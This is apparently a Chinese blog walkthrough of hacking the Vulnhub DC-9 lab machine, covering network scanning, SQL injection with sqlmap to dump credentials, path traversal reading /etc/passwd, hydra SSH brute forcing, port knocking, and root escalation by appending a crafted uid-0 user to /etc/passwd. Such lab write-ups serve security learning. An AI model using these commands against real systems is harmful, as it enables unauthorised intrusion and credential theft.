Vunlnhub:靶机DC-9渗透详解

目录

一、靶机介绍

Vulnhub靶机下载:

二、渗透过程

1.信息收集

2.web渗透

a. http访问80端口

b.SQL注入漏洞

三、利用knockd打开ssh

四、提权 

1.提权的基本方法

五、总结


一、靶机介绍

Vulnhub靶机下载:

官网地址:https://download.vulnhub.com/dc/DC-9.zip

DC-9开机界面 

二、渗透过程

1.信息收集

主机发现

kali中的arp-scan和nmap都可以:

arp-scan -l
nmap -sP 192.168.184.1./24

得到DC-9的IP为192.168.184.128 

端口扫描 

nmap -T4 -A -v 192.168.184.128

扫描出来80端口和22端口,但22端口是关闭状态。

2.web渗透

a. http访问80端口

 

可以考虑的方法有 右键F12查看源码   SQL注入 暴力破解 目录扫描

nikto -host 192.168.184.128    #nikto会自动补充80的端口和默认的根目录

得到/config.php  /includes  

访问/config.php,空白界面,可能是无权限。

访问 /includes  

测试search.php是否有SQL注入 

 'or 1=1#

跳转到resulls.php,说明此页面应该是有SQL注入。

F12查看URL的信息 

b.SQL注入漏洞

 Sqlmap跑一下

sqlmap -u "http://192.168.184.128/results.php" --data="search=1"   #查看是否存在漏洞

存在SQL注入漏洞

爆库

sqlmap -u "http://192.168.184.128/results.php" --data "search=1" --dbs  #列出数据库

三个数据库 

[*] information_schema
[*] Staff
[*] users 

先爆users数据库

sqlmap -u "http://192.168.184.128/results.php" --data "search=1" -D users --tables 

1. 爆UserDetails表

sqlmap -u "http://192.168.184.128/results.php" --data "search=1" -D users -T UserDetails --dump  #列出管理员账号密码(爆表)

 

把username和password生成到txt文档中。

 sqlmap -u "http://192.168.184.128/results.php" --data "search=1" -C "username,password" -T "UserDetails" -D "users" --dump

 

复制到文档user-dict和pass-dict中。 

2.爆Staff数据库

sqlmap -u "http://192.168.184.128/results.php" --data "search=1" -D Staff -tables

 爆Users表

 sqlmap -u "http://192.168.184.128/results.php" --data "search=1" -D Staff -T Users --dump -batch #batch 自动化运行

 运气不错   admin:transorbital1

admin | 856f5de590ef37314e7c3bdf6f8a66dc (transorbital1)  

登录一下 

 

发现提示:File does not exist 显示文件不存在,猜测可能是文件包含漏洞

wfuzz测试etc/passwd,需要网站的cookie。

 wfuzz -b 'PHPSESSID=rjo08bi63fp8js96948u40sas8' -w /usr/share/wfuzz/wordlist/general/common.txt  http://192.168.184.128/manage.php?FUZZ=../../../../etc/passwd 

 用--hw 100过滤一下

wfuzz -b 'PHPSESSID=rjo08bi63fp8js96948u40sas8' -w /usr/share/wfuzz/wordlist/general/common.txt --hw 100 http://192.168.184.128/manage.php?FUZZ=../../../../etc/passwd

 确实是文件包含漏洞http:ip/manage.php?file=../../../../etc/passwd

hydra 爆破ssh

hydra -L user-dict -P pass-dict 192.168.184.128 ssh

 但是没有爆破成功,发现22端口是filtered,应该是防火墙。

三、利用knockd打开ssh

  1. knockd.conf是一种端口试探服务器工具。它侦听以太网或其他可用接口上的所有流量,等待特殊序列的端口命中(port-hit)。telnet或Putty等客户软件通过向服务器上的端口发送TCP或数据包来启动端口命中,也可以直接用nc敲击端口。
  2. 端口试探(port knocking)是一种通过连接尝试,从外部打开原先关闭端口的方法。一旦收到正确顺序的连接尝试,防火墙就会动态打开一些特定的端口给允许尝试连接的主机。

knockd 服务的默认配置路径:/etc/knockd.conf

 使用文件包含漏洞遍历一下获取到了 敲门的密码可以这样理解 sequence = 7469,8475,9842

依次用nmap测试这三个端口:

nmap -p 7469 192.168.184.128
nmap -p 8475 192.168.184.128
nmap -p 9842 192.168.184.128

nmap测试22端口

在次测试 hydra -L user-dict -P pass-dict 192.168.184.128 ssh

新开三个窗口,登录这三个用户。

 1.chandlerb用户

 2.joeyt用户 

 3.janitor用户有一个密码.txt 

把密码生成到pass-dict1中,用hydra在次测试。

ssh登录fredf   ssh [email protected]

 sudo -l查看一下有没有文件可以使用非root用户执行:

发现fredf用户中的一个文件可以读取任意内容,追加到任意文件提权。 

进入目录/opt/devstuff/dist/test/查看test文件,发现是python编译的。

四、提权 

1.提权的基本方法

history sudo -l ls -a find/ ...

sudo(sudo是linux系统管理指令,是允许系统管理员让普通用户执行一些或者全部的root命令的一个工具,如halt,reboot,su等等。换句话说通过此命令可以让非root的用户运行只有root才有权限执行的命令)

内核漏洞

SUID

定时任务

以kali本机为例子

cat查看用户信息

cat /etc/passwd

root用户的id为0 

使用Openssl构造加密密码,构造新用户admin

将新用户的信息保存到临时文件/tmp/admin中

查看用户信息

openssl passwd -1 -salt admin 123456 
echo 'admin:$1$admin$LClYcRe.ee8dQwgrFc5nz.:0:0::/root:/bin/bash' >> /tmp/passwd
cat /tmp/passwd

 在ssh的fredf上操作

使用test程序将构造的用户和密码追加到/etc/passwd中

echo 'admin:$1$admin$LClYcRe.ee8dQwgrFc5nz.:0:0::/root:/bin/bash' >> /tmp/passwd
sudo ./test /tmp/passwd /etc/passwd
cat /etc/passwd

查看/etc/passwd用户信息,已经添加上去了。 

 

 su命令登录到admin:123456

提权成功!!! 

五、总结

DC-9靶机渗透总结:
1.在web中遇到登录界面要多方面考虑,比如F12查看源码   SQL注入 暴力破解 目录扫描等等,得到是文件包含漏洞时要多少查看文件目录,比如用户信息/etc/passwd等。

2.在得知22端口ssh服务不是打开状态时(filtered),一定要即使百度出来关于关闭端口的解决方法,得知到knockd服务的知识,查找路径,利用knockd连接到ssh。

3.在得到用户fredf中的py文件可以读取,追加文件等,熟知linux的操作命令,openssl创建新用户admin:123456保存到/tmp/passwd并追加到/etc/passwd,su登录到admin用户,提权成功!!!

新知识点:
①:了解了knockd 服务 默认路径:/etc/knockd.conf
②:学习了hydra 工具的使用 很方便 (工具很强!)
③:了解了Web 文件包含漏洞遍历信息的基础
④:就是/etc/passwd 的格式 这个不了解的话最好一步提权很容易错的
格式:用户名:密码:UID(用户ID):GID(组ID):描述性信息:主目录:默认Shell
("x" 表示此用户设有密码,但不是真正的密码,真正的密码保存在 /etc/shadow 文件中
允许登入的shell就是/bin/bash禁止shell登入就是/sbin/nologin)
 

Je suppose que tu aimes

Origine blog.csdn.net/m0_65712192/article/details/129250059
conseillé
Classement